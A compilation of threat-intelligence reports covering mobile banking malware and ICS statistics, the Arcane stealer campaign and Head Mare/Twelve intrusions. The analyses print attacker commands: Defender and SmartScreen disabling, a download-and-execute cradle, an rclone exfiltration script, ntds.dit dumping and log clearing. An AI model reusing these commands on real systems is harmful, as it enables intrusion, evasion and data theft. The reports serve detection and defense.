In 2024, the number of users who encountered mobile banking Trojans grew 3.6 times compared to 2023: from 69,200 to 247,949. As can be seen in the graph below, the malicious activity increased dramatically in the second half of the year.

Number of Android users attacked by banking malware by month, 2022–2023 (download)

The most active Trojan-Banker family in 2024 was Mamont (36.70%). This malware first appeared at the end of 2023 and is distributed mostly in Russia and the CIS. Its distribution schemes are ranging from ages-old “Is that you in the picture?” scams to complex social engineering plots with fake stores and delivery tracking apps.

* Share of unique users who encountered this malware as a percentage of all users of Kaspersky mobile security solutions who encountered banking threats

The Bian.h variant (3.02%) that prevailed in 2023 dropped to eighth place, losing over 20 p.p., and several more new samples entered the ranking: Agent.rj (11.14%) at the second place, UdangaSteal.b (3.17%) and Coper.c (2.84%).

Geography of the attacked mobile users

Same as 2023, Turkey was the number one country targeted by mobile banking malware. The share of users encountering financial threats there grew by 2.7 p.p., reaching 5.68%. Malicious activity also increased in Indonesia (2.71%), India (2.42%), Azerbaijan (0.88%), Uzbekistan (0.63%) and Malaysia (0.29%). In Spain (0.73%), Saudi Arabia (0.63%), South Korea (0.30%) and Italy (0.24%), it decreased.

* Countries and territories with relatively few (under 25,000) Kaspersky mobile security users have been excluded from the rankings.
** Unique users attacked by mobile banking Trojans as a percentage of all Kaspersky mobile security users in the country.

Conclusion

In 2024, financial cyberthreats continued to evolve, with cybercriminals deploying phishing, malware and social engineering techniques to exploit individuals and businesses alike. The rise in cryptocurrency-related scams and mobile financial malware highlights the need for continuous vigilance and proactive cybersecurity measures, including multi-factor authentication, user awareness training and advanced threat detection solutions. As the digital finance landscape expands, staying ahead of emerging threats remains critical.

To protect your devices and finance-related accounts:

• Use multifactor authentication, strong unique passwords and other secure authentication tools.
• Do not follow links in suspicious messages, and double-check web pages before entering your secrets, be it credentials or banking card details.
• Download apps only form trusted sources, such as official app marketplaces.
• Use reliable security solutions capable of detecting and stopping both malware and phishing attacks.

To protect your business:

• Update your software in a timely manner. Pay particular attention to security patches.
• Improve your employees’ security awareness on a regular basis, and encourage safe practices, such as proper account protection.
• Implement robust monitoring and endpoint security.
• Implement strict security policies for users with access to financial assets, such as default deny policies and network segmentation.
• Use threat intelligence services from trusted sources to stay aware of the latest threats and cybercrime trends.

Read More 

Statistics across all threats

In Q4 2024, the percentage of ICS computers on which malicious objects were blocked decreased by 0.1 pp from the previous quarter to 21.9%.

Percentage of ICS computers on which malicious objects were blocked, by quarter, 2022–2024

Compared to Q4 2023, the percentage decreased by 2.8 pp.

The percentage of ICS computers on which malicious objects were blocked during Q4 2024 was highest in October and lowest in November. In fact, the percentage in November 2024 was the lowest of any month in two years.

Percentage of ICS computers on which malicious objects were blocked, Jan 2023–Dec 2024

Region rankings

Regionally, the percentage of ICS computers that blocked malicious objects during the quarter ranged from 10.6% in Northern Europe to 31% in Africa.

Regions ranked by percentage of ICS computers where malicious objects were blocked, Q3 2024

Eight of 13 regions saw their percentages increase from the previous quarter.

Regions and world. Changes in the percentage of attacked ICS computers in Q4 2024

Selected industries

The biometrics sector led the surveyed industries in terms of the percentage of ICS computers on which malicious objects were blocked.

Percentage of ICS computers on which malicious objects were blocked in selected industries

In Q4 2024, the percentage of ICS computers on which malicious objects were blocked decreased across most industries, with the exception of the construction sector.

Changes in the percentage of ICS computers on which malicious objects were blocked in selected industries

Diversity of detected malicious objects

In Q4 2024, Kaspersky’s protection solutions blocked malware from 11,065 different malware families of various categories on industrial automation systems.

Percentage of ICS computers on which the activity of malicious objects from various categories was blocked

Main threat sources

The internet, email clients and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure. Note that the sources of blocked threats cannot be reliably identified in all cases.

In Q4 2024, the percentage of ICS computers on which threats from various sources were blocked decreased for all threat sources described in this report. Moreover, all indicators recorded their lowest values for the observed period.

Percentage of ICS computers on which malicious objects from various sources were blocked

Threat categories

Malicious objects used for initial infection

Malicious objects used for initial infection of ICS computers include dangerous internet resources that are added to denylists, malicious scripts and phishing pages, and malicious documents.

In the fourth quarter of 2024, the percentage of ICS computers on which malicious documents and denylisted internet resources were blocked decreased to 1.71% (by 0.26 pp) and 5.52% (by 1.32 pp), respectively and reached its lowest level since the beginning of 2022.

As noted in the Q3 2024 report, the increase in blocked denylisted internet resources was primarily driven by an increase in the number of newly created domain names and IP addresses used by cybercriminals as command-and-control (C2) infrastructure for distributing malware and phishing attacks.

The decline in the percentage of denylisted internet resources in November–December 2024 was likely influenced not only by proactive threat mitigation measures at various levels – from resource owners and hosting providers to ISPs and law enforcement agencies. Another contributing factor was the tendency of attackers to frequently change domains and IP addresses to evade detection in the initial stages, based on lists of known malicious resources.

In practice, this means that until a malicious web resource is identified and added to a denylist, it may not immediately appear in threat statistics, leading to an apparent decrease in the percentage of ICS computers on which such resources were blocked.

However, in Q4, we also saw a rise in the percentage of the next steps in the attack chain – malicious scripts and phishing pages (7.11%), spyware (4.30%), and ransomware (0.21%).

A significant increase in the percentage of malicious scripts and phishing pages in October was driven by a series of widespread phishing attacks in late summer and early fall 2024, as mentioned in the Q3 2024 report. Threat actors used malicious scripts that executed in the browser, mimicking various windows with CAPTCHA-like interfaces, browser error messages and similar pop-ups to trigger the download of next-stage malware: either the Lumma stealer or the Amadey Trojan.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware – spyware, ransomware, and miners – to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.

The percentage of ICS computers on which spyware (spy Trojans, backdoors and keyloggers) was blocked increased by 0.39 pp from the previous quarter to 4.30%.

The percentage of ICS computers on which ransomware was blocked increased by a factor of 1.3 compared to the previous quarter, reaching 0.21%, its highest value in two years.

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked decreased by 0.01 pp to 0.70%.

And, the percentage of ICS computers on which web miners were blocked decreased by 0.02 pp to 0.39%, reaching its lowest value in the observed period.

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics. To spread across ICS networks, viruses and worms rely on removable media, network folders, infected files including backups, and network attacks on outdated software.

In Q4 2024, the percentage of ICS computers on which worms were blocked increased by 0.07 pp and reached 1,37%. The rate of viruses increased by 0.08 pp to 1.61%.

AutoCAD malware

AutoCAD malware is typically a low-level threat, coming last in the malware category rankings in terms of the percentage of ICS computers on which it was blocked.

In Q4 2024, the percentage of ICS computers on which AutoCAD malware was blocked continued to decrease by losing 0.02 pp and reached 0.38%.

You can find the full Q3 2024 report on the Kaspersky ICS CERT website.

Read More 

At the end of 2024, we discovered a new stealer distributed via YouTube videos promoting game cheats. What’s intriguing about this malware is how much it collects. It grabs account information from VPN and gaming clients, and all kinds of network utilities like ngrok, Playit, Cyberduck, FileZilla and DynDNS. The stealer was named Arcane, not to be confused with the well-known Arcane Stealer V. The malicious actor behind Arcane went on to release a similarly named loader, which supposedly downloads cheats and cracks, but in reality delivers malware to the victim’s device.

Distribution

The campaign in which we discovered the new stealer was already active before Arcane appeared. The original distribution method started with YouTube videos promoting game cheats. The videos were frequently accompanied by a link to an archive and a password to unlock it. Upon unpacking the archive, the user would invariably discover a start.bat batch file in the root folder and the UnRAR.exe utility in one of the subfolders.

Archive root

Contents of the “natives” subfolder

The contents of the batch file were obfuscated. Its only purpose was to download another password-protected archive via PowerShell, and unpack that with UnRAR.exe with the password embedded in the BATCH file as an argument.

Contents of the obfuscated start.bat file

Following that, start.bat would use PowerShell to launch the executable files from the archive. While doing so, it added every drive root folder to SmartScreen filter exceptions. It then reset the EnableWebContentEvaluation and SmartScreenEnabled registry keys via the system console utility reg.exe to disable SmartScreen altogether.

powershell  -Command "Get-PSDrive -PSProvider FileSystem | ForEach-Object {Add-MpPreference -ExclusionPath $_.Root}"
reg  add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t REG_DWORD /d 0 /f
reg  add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t REG_SZ /d "Off" /f
powershell -Command "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/<redacted>')"
powershell  -Command "(New-Object Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/<redacted>/black.rar?rlkey=<redacted>&st=<redacted>&dl=1', 'C:\Users\<redacted>\AppData\Local\Temp\black.rar')"

Key commands run by start.bat

The archive would always contain two executables: a miner and a stealer.

Contents of the downloaded archive

The stealer was a Phemedrone Trojan variant, rebranded by the attackers as “VGS”. They used this name in the logo, which, when generating stealer activity reports, is written to the beginning of the file along with the date and time of the report’s creation.

Phemedrone and VGS logos

Original distribution scheme

Arcane replaces VGS

At the end of 2024, we discovered a new Arcane stealer distributed as part of the same campaign. It is worth noting that a stealer with a similar name has been encountered before: a Trojan named “Arcane Stealer V” was offered on the dark web in 2019, but it shares little with our find. The new stealer takes its name from the ASCII art in the code.

Arcane logo

Arcane succeeded VGS in November. Although much of it was borrowed from other stealers, we could not attribute it to any of the known families.

Arcane gets regular updates, so its code and capabilities change from version to version. We will describe the common functionality present in various modifications and builds. In addition to logins, passwords, credit card data, tokens and other credentials from various Chromium and Gecko-based browsers, Arcane steals configuration files, settings and account information from the following applications:

• VPN clients: OpenVPN, Mullvad, NordVPN, IPVanish, Surfshark, Proton, hidemy.name, PIA, CyberGhost, ExpressVPN
• Network clients and utilities: ngrok, Playit, Cyberduck, FileZilla, DynDNS
• Messaging apps: ICQ, Tox, Skype, Pidgin, Signal, Element, Discord, Telegram, Jabber, Viber
• Email clients: Outlook
• Gaming clients and services: Riot Client, Epic, Steam, Ubisoft Connect (ex-Uplay), Roblox, Battle.net, various Minecraft clients
• Crypto wallets: Zcash, Armory, Bytecoin, Jaxx, Exodus, Ethereum, Electrum, Atomic, Guarda, Coinomi

In addition, the stealer collects all kinds of system information, such as the OS version and installation date, digital key for system activation and license verification, username and computer name, location, information about the CPU, memory, graphics card, drives, network and USB devices, and installed antimalware and browsers. Arcane also takes screenshots of the infected device, obtains lists of running processes and Wi-Fi networks saved in the OS, and retrieves the passwords for those networks.

Arcane’s functionality for stealing data from browsers warrants special attention. Most browsers generate unique keys for encrypting sensitive data they store, such as logins, passwords, cookies, etc. Arcane uses the Data Protection API (DPAPI) to obtain these keys, which is typical of stealers. But Arcane also contains an executable file of the Xaitax utility, which it uses to crack browser keys. To do this, the utility is dropped to disk and launched covertly, and the stealer obtains all the keys it needs from its console output.

The stealer implements an additional method for extracting cookies from Chromium-based browsers through a debug port. The Trojan secretly launches a copy of the browser with the “remote-debugging-port” argument, then connects to the debug port, issues commands to visit several sites, and requests their cookies. The list of resources it visits is provided below.

• https://gmail.com,
• https://drive.google.com,
• https://photos.google.com,
• https://mail.ru,
• https://rambler.ru,
• https://steamcommunity.com,
• https://youtube.com,
• https://avito.ru,
• https://ozon.ru,
• https://twitter.com,
• https://roblox.com,
• https://passport.yandex.ru

ArcanaLoader

Within a few months of discovering the stealer, we noticed a new distribution pattern. Rather than promoting cheats, the threat actors shifted to advertising ArcanaLoader on their YouTube channels. This is a loader with a graphical user interface for downloading and running the most popular cracks, cheats and other similar software. More often than not, the links in the videos led to an executable file that downloaded an archive with ArcanaLoader.

ArcanaLoader

The loader itself included a link to the developers’ Discord server, which featured channels for news, support and links to download new versions.

Discord server invitation

At the same time, one of the Discord channels posted an ad, looking for bloggers to promote ArcanaLoader.

Looking for bloggers to spread the loader

Sadly, the main ArcanaLoader executable contained the aforementioned Arcane stealer.

Victims

All conversations on the Discord server are in Russian, the language used in the news channels and YouTube videos. Apparently, the attackers target a Russian-speaking audience. Our telemetry confirms this assumption: most of the attacked users were in Russia, Belarus and Kazakhstan.

Takeaways

Attackers have been using cheats and cracks as a popular trick to spread all sorts of malware for years, and they’ll probably keep doing so. What’s interesting about this particular campaign is that it illustrates how flexible cybercriminals are, always updating their tools and the methods of distributing them. Besides, the Arcane stealer itself is fascinating because of all the different data it collects and the tricks it uses to extract the information the attackers want. To stay safe from these threats, we suggest being wary of ads for shady software like cheats and cracks, avoiding links from unfamiliar bloggers, and using strong security software to detect and disarm rapidly evolving malware.

Read More 

Introduction

In September 2024, a series of attacks targeted Russian companies, revealing indicators of compromise and tactics associated with two hacktivist groups: Head Mare and Twelve. Our investigation showed that Head Mare relied heavily on tools previously associated with Twelve. Additionally, Head Mare attacks utilized command-and-control (C2) servers exclusively linked to Twelve prior to these incidents. This suggests potential collaboration and joint campaigns between the two groups.

The attackers continue to refine their methods, employing both familiar tools from past Head Mare incidents and new PowerShell-based tools.

This report analyzes the software and techniques observed in recent Head Mare attacks and how these overlap with Twelve’s activities. The focus is on Head Mare’s TTPs and their evolution, with notes on commonalities with Twelve’s TTPs.

Technical details

Head Mare’s toolkit

The attackers used various publicly available tools, including open-source software and leaked proprietary tools, to achieve their goals.

• mimikatz;
• ADRecon;
• secretsdump;
• ProcDump;
• Localtonet;
• revsocks;
• ngrok;
• cloudflared;
• Gost;
• fscan;
• SoftPerfect Network Scanner;
• mRemoteNG;
• PSExec;
• smbexec;
• wmiexec;
• LockBit 3.0;
• Babuk.

Some of these tools were mentioned in our previous report on Head Mare, while others were new to their arsenal.

Notable new tools

Among the tools used by Head Mare were some not previously employed by the hacktivists but seen in attacks by other groups. For instance, they used the CobInt backdoor for remote access to domain controllers, previously observed only in Twelve’s attacks on Russian companies. This is an interesting fact, suggesting that Twelve and Head Mare may be sharing tools.

In addition to CobInt, the attackers used their own PhantomJitter backdoor, installed on servers for remote command execution. This tool appeared in the group’s arsenal in August 2024. We described its modus operandi in a story accessible to the subscribers of our Threat Intelligence reports.

Another new tactic involved a tool for remote command execution on a business automation platform server. Thus, the attackers used both proven and new tools, demonstrating flexibility and adaptability.

Initial Access

While previous Head Mare attacks relied solely on phishing emails with malicious attachments, they now also infiltrate victims’ infrastructure through compromised contractors with access to business automation platforms and RDP connections. This confirms the trend of hacktivists exploiting trusted relationships (T1199  –  Trusted Relationship and T1078  –  Valid Accounts).

The attackers also exploited software vulnerabilities, most commonly CVE-2023-38831 in WinRAR through phishing emails. In one incident, they exploited the Microsoft Exchange server vulnerability CVE-2021-26855 (ProxyLogon). Although patched in 2021, this vulnerability is still exploitable due to organizations using outdated operating systems and software. Our telemetry data revealed domain controllers still running Microsoft Windows Server 2012 R2 Server Standard x64 or, as in the aforementioned incidents, Microsoft Exchange Server 2016 used for email.

The attackers used ProxyLogon to execute a command to download and launch CobInt on the server.

Persistence

The method of establishing persistence has changed. Instead of creating scheduled tasks, the attackers now create new privileged local users on a business automation platform server. They use these accounts to connect to the server via RDP to transfer and execute tools interactively.

They also install traffic tunneling tools like Localtonet for persistent access to the target host. They made Localtonet persistent with the help of Non-Sucking Service Manager (NSSM), which allows running any application as a Windows service, as well as monitoring and restarting it if it fails for some reason. This user-friendly tool is often used legitimately to install and manage programs that cannot function as services. Localtonet and NSSM help the malicious actor to maintain continuous access to the infected host.

Anti-detection techniques

Head Mare continued to use the Masquerading technique (T1655), naming utility executables like standard operating system files. The investigation found files such as:

In one incident, cmd.exe was renamed to log.exe and launched from C:Users[username]log.exe.

Besides renaming files, the attackers also removed services and files they had created and cleared event logs to evade detection. Relevant artifacts were found in the PowerShell command history on attacked machines:

stop-service -name <servicename>
remove-service -name <servicename>
remove-service -name "<servicename>"
sc stop <servicename>
sc delete <servicename>
Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }

The ransomware executable also cleared system logs, as evidenced by a flag in the configuration of the samples that we have analyzed.

Command and Control

After exploiting the business automation platform server, attackers downloaded and installed the PhantomJitter backdoor. In the incidents we observed, the backdoor was downloaded into the victims’ infrastructure from the following URLs:

http[:]//45.87.246[.]34:443/calc.exe
http[:]//185.158.248[.]107:443/calc.exe

The file was saved in the local directory as c.exe. Upon launch, it connected to the C2 server, allowing the operator to execute commands on the compromised host.

In addition to PhantomJitter, the attackers used CobInt, whose payload connected to the following C2 server:

360nvidia[.]com

The domain resolves to the IP address 45.156.27[.]115.

Pivoting

The group expanded its arsenal to achieve their objectives at this stage. To gain remote access to the compromised infrastructure, they used a custom PowerShell script named proxy.ps1 to install and configure cloudflared and Gost.

Gost is a lightweight, powerful proxy utility offering various network routing and traffic hiding capabilities. It supports multiple protocols and can create secure communication channels, bypass blocks, and establish tunnels.

Cloudflared tunnels traffic through the Cloudflare network. It establishes a secure connection to an attacker-controlled Cloudflare server, acting as a proxy for C2 communication. This bypasses network restrictions like NAT (Network Address Translation) and firewall rules that might hinder direct connections between the victim host and attacker servers.

The proxy.ps1 script can also download archives from URLs specified on a command line and extract them to a temporary folder. Below is the help output for the script:

Usage: .proxy.ps1 -r https://<site>.com/archive.zip -p gost_port -t cloudflared_token 

Parameters:
  -l       Extract archive locally.
  -r       Download and extract archive remotely.
  -p       Specify the port for the gost.
  -t       Specify the token for the cloudflared.
  -u       Uninstall gost & cloudflared.
  -h       Show this help message.

The script defines constants for filenames, installing cloudflared and Gost with names mimicking standard Windows services in the C:WindowsSystem32 folder. The script uses the GetTempFileName function to obtain temporary file paths.

$archivePath = "win.zip"
$filesPath = "C:WindowsSystem32"
$cloudflaredPath = Join-Path -Path $filesPath -ChildPath "winuac.exe"
$gostPath = Join-Path -Path $filesPath -ChildPath "winsw.exe"
$winswPath = Join-Path -Path $filesPath -ChildPath "winsws.exe"
$winswxmlPath = Join-Path -Path $filesPath -ChildPath "winsws.xml"
$tempFile = [System.IO.Path]::GetTempFileName()

If the -p flag is specified in the command line, a service for the Gost tool will be installed on the system. The following function is used for this:

function Setup-Gost-Service {
    # Set port
    [xml]$winswxml = Get-Content $winswxmlPath
    $winswxml.service.arguments = $winswxml.service.arguments -replace '42716', $p
    $winswxml.Save($winswxmlPath)
    Write-Host "[*] Port number updated to $port in $winswxmlPath"

    # Service install
    Write-Host "[*] Installing gost as service"
    Start-Process $winswPath -ArgumentList "install" -RedirectStandardOutput $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output
    Start-Process $winswPath -ArgumentList "start" -RedirectStandardOutput $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output
}

In this code snippet, the script installs the Gost executable file as a service and passes necessary settings to it.

If -t key is passed to the script, it installs and configures cloudflared in the system.

function Setup-Cloudflared-Service {

    # Service install
    Write-Host "[*] Installing cloudflared as service"
    Start-Process $cloudflaredPath -ArgumentList "service install $t" -RedirectStandardError $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output
}

In this code snippet, the script installs the cloudflared service and passes settings to it by means of the command line.

In addition to installing and configuring tunneling tools, the script has the ability to remove the artifacts they leave behind. The script can also stop and uninstall the cloudflared and Gost services, if the -u parameter is passed to it when it launches.

if ($u) {
    Write-Host "[*] Uninstalling gost"
    Start-Process sc.exe -ArgumentList "stop winsw" -RedirectStandardOutput $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output
    Start-Process $winswPath -ArgumentList "uninstall" -RedirectStandardOutput $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output

    Write-Host "[*] Uninstalling cloudflared"
    Start-Process sc.exe -ArgumentList "stop winuac" -RedirectStandardOutput $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output
    Start-Process $cloudflaredPath -ArgumentList "service uninstall" -RedirectStandardError $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output

    $filePaths = @(
    "C:WindowsSystem32winsws.wrapper.log",
    "C:WindowsSystem32winsws.err.log",
    "C:WindowsSystem32winsws.out.log",
    "C:WindowsSystem32winsws.xml",
    "C:WindowsSystem32winsws.exe",
    "C:WindowsSystem32winsw.exe",
    "C:WindowsSystem32winuac.exe"
    )
    foreach ($filePath in $filePaths) {
    if (Test-Path $filePath) {
        Remove-Item -Path $filePath -Force
        Write-Output "[*] Deleted: $filePath"
    } else {
        Write-Output "[*] File not found: $filePath"
    }
    }
}

After deleting the services, the script deletes executables, configuration files, and logs of the tools.

In one incident, the attackers downloaded cloudflared and Gost from the server 45[.]156[.]21[.]148, which we previously saw in Head Mare attacks. An example download link is:

hxxp://45[.]156[.]21[.]148:8443/winuac.exe

Besides cloudflared and Gost, the attackers used cloud tunnels like ngrok and Localtonet. Localtonet is a reverse proxy server providing internet access to local services. The attackers launched it as a service using NSSM, downloading both tools from the official Localtonet website (localtonet[.]com).

hxxp://localtonet[.]com/nssm-2.24.zip
hxxp://localtonet[.]com/download/localtonet-win-64.zip

After downloading, they extracted the tools and launched them with these parameters:

nssm.exe install Win32_Serv 
localtonet.exe authtoken <token>

These commands allow installing Localtonet as a service and authorizing it with a token for configuration.

Reconnaissance

The attackers used common system reconnaissance tools like quser.exe, tasklist.exe, and netstat.exe on local hosts. They primarily used fscan and SoftPerfect Network Scanner for local network reconnaissance, along with ADRecon, a tool for gathering information from Active Directory. ADRecon is a PowerShell script not previously observed in the group’s arsenal.

The attackers also used ADRecon to study the Active Directory domain, including computers, accounts, groups, and trust relationships between domains. The command history showed various domains passed as arguments to the script:

.ADRecon.ps1 -DomainController <FQDN A>
.ADRecon.ps1 -DomainController <FQDN B>
.ADRecon.ps1 -DomainController <FQDN C>
<..>

Privilege Escalation

The attackers exploited previously compromised accounts of victims and their contractors, and created privileged local accounts, particularly when exploiting the business automation software server. If a user has sufficient permissions to remotely execute commands on the server, this software allows running a child command prompt process, such as cmd.exe, with privileges in the operating system corresponding to the program’s privileges. Since business automation software typically has administrator privileges in the OS, the child process also becomes privileged. The attackers exploited this opportunity: after gaining access to the vulnerable software server, they created a privileged local account on whose behalf they launched a command interpreter.

Command Execution

The attackers launched the Windows command interpreter on the business automation platform server in the target system within a process that executed the following command line:

cmd /c powershell.exe -ep bypass -w hidden -c iex ((New-Object 
Net.WebClient).DownloadString('http://web-telegram[.]uk/vivo.txt')) > $tempv8_B5B0_11.txt

This command downloads and executes the vivo.txt file, which we were unable to obtain. However, based on system events, we suspect that it opened a reverse shell, which the operator used to create two files in the target system.

c:programdatamicrosoftdrivemcdrive.vbs
c:programdatamicrosoftdrivemcdrive.ps1

Then, using reg.exe, the attackers added an autorun entry to execute mcdrive.vbs with the interpreter wscript.exe.

reg  add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /f /v "mcdrivesvc" /t 
REG_EXPAND_SZ /d "wscript.exe "$appdataMicrosoftDrivemcdrive.vbs

The VBS file is an obfuscated Visual Basic script that creates an ActiveX object reference named WScript.Shell and uses its Run() function to execute an obfuscated command line.

A deobfuscated command line snippet follows:

%SystemRoot%System32WindowsPowerShellv1.0powershell.exe -ex bypass -NoLogo -
NonInteractive -NoProfile -w hidden -c iex 
([System.IO.File]::ReadAllText('C:ProgramDataMicrosoftDrivemcdrive.ps1'))

This command reads and executes the C:ProgramDataMicrosoftDrivemcdrive.ps1 file through the PowerShell interpreter. This file is a CobInt loader, previously seen only in Twelve’s arsenal. The mcdrive.ps1 snippet below determines the operating system’s bitness, decrypts, and executes the payload, which initiates a request to a C2 server at 360nvidia[.]com. The image below shows a graph obtained from analysis in the Cloud Sandbox on our Threat Intelligence Portal.

Payload execution analysis graph. The IP address shown on the graph corresponds to the domain 360nvidia.com

Credential Access

The investigation identified tools for obtaining credentials. Besides the publicly available mimikatz utility, the attackers used secretsdump and ProcDump. Secretsdump was found on one victim’s system at the following paths:

[USERNAME]Desktopsecretsdump.exe
[USERNAME]Desktopsecretsdump (1).exe

A new Go-based sample named update.exe was also discovered, enabling the dumping of the ntds.dit file and the SYSTEM/SECURITY registry hive using ntdsutil.exe.

powershell ntdsutil.exe "'ac i ntds'" 'ifm' "'create full temp'" q q

Additionally, manual PowerShell commands were observed for dumping data from these locations.

ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:temp1' q q
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:temp' q q"

While no traces of the first command’s successful execution were found, the results of the second one were located at the following paths:

tempActive Directory
tempregistry
tempActive Directoryntds.dit
tempActive Directoryntds.jfm
tempregistrySECURITY
tempregistrySYSTEM
temp[REDACTED].zip

Lateral Movement

The attackers used RDP to connect to systems, including with privileged accounts. They connected to NAS servers via SSH and used tools like mRemoteNG, smbexec, wmiexec, PAExec, and PsExec for remote host communication.

Data Collection and Exfiltration

Another new tool in Head Mare’s arsenal was a script running wusa.exe. Normally, this file name is used by the legitimate Windows update process. However, the script’s launch parameters indicated that the file was actually the rclone.exe utility. Rclone is an open-source project for copying and synchronizing files between storages of different types, making it convenient for data transfer.

@echo off
setlocal enabledelayedexpansion
set inputFile=C:ProgramData1.txt
for /f "tokens=*" %%A in (%inputFile%) do (
    set hostname=%%A
    start /wait "" C:ProgramDatawusa.exe --config="C:ProgramData1.conf" --sftp-socks-proxy <username>:<password>@64.7.198.109:80 sync "\%%AC$Users" sftpP:/data/<path> -q --ignore-existing --auto-confirm --include "*.doc" --include "*.docx" --include "*Desktop/**" --include "*Documents/**" --include "*Downloads/**" --include "*.pdf" --include "*.xls" --include "*.xlsx" --include "*.zip" --include "*.rar" --include "*.txt" --include "*.pn*" --include "*.ppt" --include "*.pptx" --include "*.jp*" --include "*.eml" --include "*.pst" --multi-thread-streams 12 --transfers 12 --max-age 3y --max-size 1G
)
endlocal

The script starts by taking the file 1.txt as input, which contains a list of hosts. For each host, it runs rclone.exe to transfer files from the device to an SFTP server through a SOCKS proxy. The attackers only exfiltrated files from specific directories or files matching the extension templates specified in the script.

Final goal: file encryption

As in previous attacks, they encrypted data using variants of LockBit 3.0 (for Windows systems) and Babuk (for NAS devices). The investigation found that the LockBit file was initially saved on the victim’s host at the following paths:

• C:Users{username}Desktoplocker.exe;
• С:WindowsSYSVOLIntellocker.exe.

Below is a sample ransom note, with the cybercriminals’ contacts redacted:

Contents of a LockBit ransom note

Connection between Head Mare and Twelve

In addition to the aforementioned TTPs, we attribute these attacks to Head Mare based on the following characteristics:

1. A previously seen IP address:
   • 45.156.21[.]148
2. Malware:
   • PhantomJitter

Further details about these indicators can be found in the private report on the Threat Intelligence Portal: “HeadMare’s new PhantomJitter backdoor dropped in attacks exploiting Microsoft Exchange”.

However, the presence of Twelve’s tools like CobInt suggests collaboration. To test this hypothesis, activity cluster diagrams were created based on the Diamond Model framework. Overlaps – common elements in the tactics of both groups – are highlighted in red, indicating potential coordination.

Analysis of the Head Mare techniques and tools

In the image above, we see for the first time the use of the CobInt malware in Head Mare attacks. Previously, it was present only in the arsenal of the Twelve group, the analysis of which is presented below.

Analysis of the Twelve techniques and tools

Also, the analysis of the two models revealed overlaps in the infrastructure (C2s) of the groups. The following infrastructure elements appearing in Head Mare attacks were also present in a number of incidents related to the activities of the Twelve group.

• 360nvidia[.]com;
• 45.156.27[.]115

In addition, we have identified other similarities in the arsenal of the two groups:

1. File names:
   • proxy.ps1
   • ad_without_dc.ps1
2. Paths:
   • C:WindowsSystem32winsw.exe
   • C:WindowsSystem32winsws.exe
   • C:WindowsSystem32winuac.exe
3. Service names:
   • winsw (Microsoft Windows Update)
   • winuac (Microsoft UAC Service Wrapper)
4. Victims:
   • Manufacture, government, energy

The final intersection points of the Head Mare and Twelve groups are shown in the image below. Given the overlaps in infrastructure, TTPs, CobInt malware, and victim choices, we assume that these groups act together, exchanging access to command-and-control servers and various tools for carrying out attacks.

Overlaps in TTPs, tools, and infrastructure between Head Mare and Twelve

Conclusion

Head Mare is actively expanding its set of techniques and tools. In recent attacks, they gained initial access to the target infrastructure by not only using phishing emails with exploits but also by compromising contractors.

They also use tools previously seen in attacks by other groups, such as Twelve’s CobInt backdoor.

This is not the only similarity between the two groups. In addition to the toolkit, the following were noticed:

• Shared command-and-control servers: 360nvidia[.]com, 45.156.27[.]115
• PowerShell scripts accessing these C2 servers: mcdrive.ps1
• Scripts for tunneling network connections: proxy.ps1

Based on the factors described above, we assume that Head Mare is working with Twelve to launch attacks on state- and privately controlled companies in Russia. We will continue to monitor the activity of the attackers and share up-to-date information about their TTPs. More details about the hacktivists’ activities and their tools, such as PhantomJitter, can be found in the materials available to subscribers of our Threat Intelligence reports.

Indicators of compromise

Please note: the network addresses given in this section were valid at the time of publication but may become outdated in the future.

Hashes:

File paths:
С:WindowsSYSVOLIntellocker.exe
C:ProgramDataMicrosoftDrivemcdrive.ps1
C:ProgramDataMicrosoftDrivemcdrive.vbs
C:ProgramDataproxy.ps1
C:ProgramDatawusa.exe
C:Users{USERNAME}AppDataRoaming1.bat
C:Users{USERNAME}AppDataRoamingMicrosoftWindowsRecentmimikatz.lnk
C:Users{USERNAME}AppDataRoamingproxy.ps1
C:Users{USERNAME}DesktopОбработка.epf
C:Users{USERNAME}Desktopad_without_dc.ps1
C:Users{USERNAME}DesktopADRecon.ps1
C:Users{USERNAME}Desktoph.txt
C:Users{USERNAME}Desktoplocker.exe
C:Users{USERNAME}Desktopmimikatz.exe
C:Users{USERNAME}Desktopmimikatz.log
C:Users{USERNAME}Desktopsecretsdump (1).exe
C:Users{USERNAME}Desktopsecretsdump.exe
C:Users{USERNAME}Downloadsmimikatz-master.zip
C:users{USERNAME}log.exe
C:windowsadfsarupdate.exe
C:windowssystem32inetsrvc.exe
C:windowssystem32inetsrvcalc.exe
C:windowssystem32winsw.exe
C:WindowsSystem32winsws.exe
C:windowssystem32winuac.exe
C:WindowsSYSVOLIntelmimikatz.exe

IP addresses and domain names:
360nvidia[.]com
web-telegram[.]uk
45.156.27[.]115
45.156.21[.]148
185.229.9[.]27
45.87.246[.]34
185.158.248[.]107
64.7.198[.]109

Read More 

